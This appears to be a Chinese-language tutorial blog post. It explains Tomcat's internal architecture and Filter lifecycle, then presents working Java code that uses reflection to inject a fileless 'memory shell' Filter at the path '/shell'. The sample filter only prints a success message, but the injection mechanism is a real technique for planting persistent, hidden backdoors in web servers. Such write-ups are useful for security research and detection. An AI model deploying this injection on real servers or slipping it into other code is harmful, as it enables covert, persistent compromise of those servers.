Tomcat Filter内存马实现
tomcat基础部分
Tomcat的主要功能
tomcat作为一个 Web 服务器,实现了两个非常核心的功能:
- Http 服务器功能: 进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文
- Servlet 容器功能: 加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求
以上两个功能,分别对应着tomcat的两个核心组件连接器(Connector)和容器(Container),连接器负责对外交流(完成 Http 服务器功能),容器负责内部处理(完成 Servlet 容器功能)。
- Server
Server 服务器的意思,代表整个 tomcat 服务器,一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件,用于提供具体服务。 - Service
服务是 Server 内部的组件,一个Server可以包括多个Service。它将若干个 Connector 组件绑定到一个 Container - Connector
称作连接器,是 Service 的核心组件之一,一个 Service 可以有多个 Connector,主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response,然后交给 Container 进 行处理,Container 处理完之后在交给 Connector 返回给客户端。 - Container
负责处理用户的 servlet 请求
Connector连接器
连接器主要完成以下三个核心功能:
- socket 通信,也就是网络编程
- 解析处理应用层协议,封装成一个 Request 对象
- 将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse
以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。Endpoint 负责提供请求字节流给Processor,Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter,Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器。
Container容器
Container组件又称作Catalina,其是Tomcat的核心。在Container中,有4种容器,分别是Engine、Host、Context、Wrapper。这四种容器成套娃式的分层结构设计。
四种容器的作用:
- Engine
表示整个 Catalina 的 Servlet 引擎,用来管理多个虚拟站点,一个 Service 最多只能有一个 Engine,但是一个引擎可包含多个 Host - Host
代表一个虚拟主机,或者说一个站点,可以给 Tomcat 配置多个虚拟主机地址,而一个虚拟主机下可包含多个 Context - Context
表示一个 Web 应用程序,每一个Context都有唯一的path,一个Web应用可包含多个 Wrapper - Wrapper
表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等
如以下图,a.com和b.com分别对应着两个Host
Tomcat运行流程结构:
Filter生命周期分析
通过上面的基础知识可以看到,Tomcat的web启动后在初始化Context的时候会调用StandardContext来实现部分功能,其中初始化每个Filter就是在这里完成的
FilterDef相关结构
调试查看FilterDef在调用过程中主要存储的是FilterName和相关实现类
因为过滤器通常会匹配路由进行触发,但通过StandardContext->filterStart
并没有发现将路由+过滤器配置进行初始化。
通过调试发现FilterMap
中会将Filter和路由进行匹配关联
跟踪调用链发现FilterMaps在ContextConfig
进行了初始化
分析到现在已经可以推断出Filter从初始化到应用这个过程强关联的几个类:FilterDef
FilterConfig
FilterMap
Filter调用链分析
在自定义中Filter下断点,调试过程中发现filterChain
在创建时会对访问路径和过滤器注册的路由进行匹配
org/apache/catalina/core/StandardWrapperValve.class
跟进 createFilterChain
发现程序获取filterMaps
后会判断访问的路径是否符合filter的拦截路径,如果匹配则会执行addFilter
在进行路径匹配时会调用FilterMap来获取过滤器注册的路由,证明前面的推断并没有错
获取filterChain最后会进行doFilter来执行Filter的逻辑
所以构造Filter内存马的思路为:构建恶意Filter,实现FilterDef
FilterMap
FilterConfig
并将 FilterConfig
注册到FilterConfigs
通过上面对Filter生命周期分析,要实现动态注册恶意Filter,首先需要获取StandardContext
由于没有接口可以直接获取到,所以这里需要用到反射来实现StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field field_ApplicationContext = servletContext.getClass().getDeclaredField("context");
field_ApplicationContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field_ApplicationContext.get(servletContext);
Field field_StandardContext = applicationContext.getClass().getDeclaredField("context");
field_StandardContext.setAccessible(true);
StandardContext standardContext = (StandardContext) field_StandardContext.get(applicationContext);
相关代码
package com.testFilter;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
@WebServlet(name = "TestMemshell")
public class TestMemshell extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
ServletContext servletContext = request.getSession().getServletContext();
try {
String memshellName = "shell";
Field field_ApplicationContext = servletContext.getClass().getDeclaredField("context");
field_ApplicationContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field_ApplicationContext.get(servletContext);
Field field_StandardContext = applicationContext.getClass().getDeclaredField("context");
field_StandardContext.setAccessible(true);
StandardContext standardContext = (StandardContext) field_StandardContext.get(applicationContext);
Field field_FilterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
field_FilterConfigs.setAccessible(true);
Map filterConfigs = (Map) field_FilterConfigs.get(standardContext);
if(filterConfigs.get(memshellName)==null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
response.getWriter().write("memshell injectsucc");
return;
}
@Override
public void destroy() {
}
};
//实现FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(memshellName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
//实现FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/shell");
filterMap.setFilterName(memshellName);
System.out.println(DispatcherType.REQUEST.name());
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(memshellName,filterConfig);
}else{
response.getWriter().write("memshell injected");
}
} catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request,response);
}
}